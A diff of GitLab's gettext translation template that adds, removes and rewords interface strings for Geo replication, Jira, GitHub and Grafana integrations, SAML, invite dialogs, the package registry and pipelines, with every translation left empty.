+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
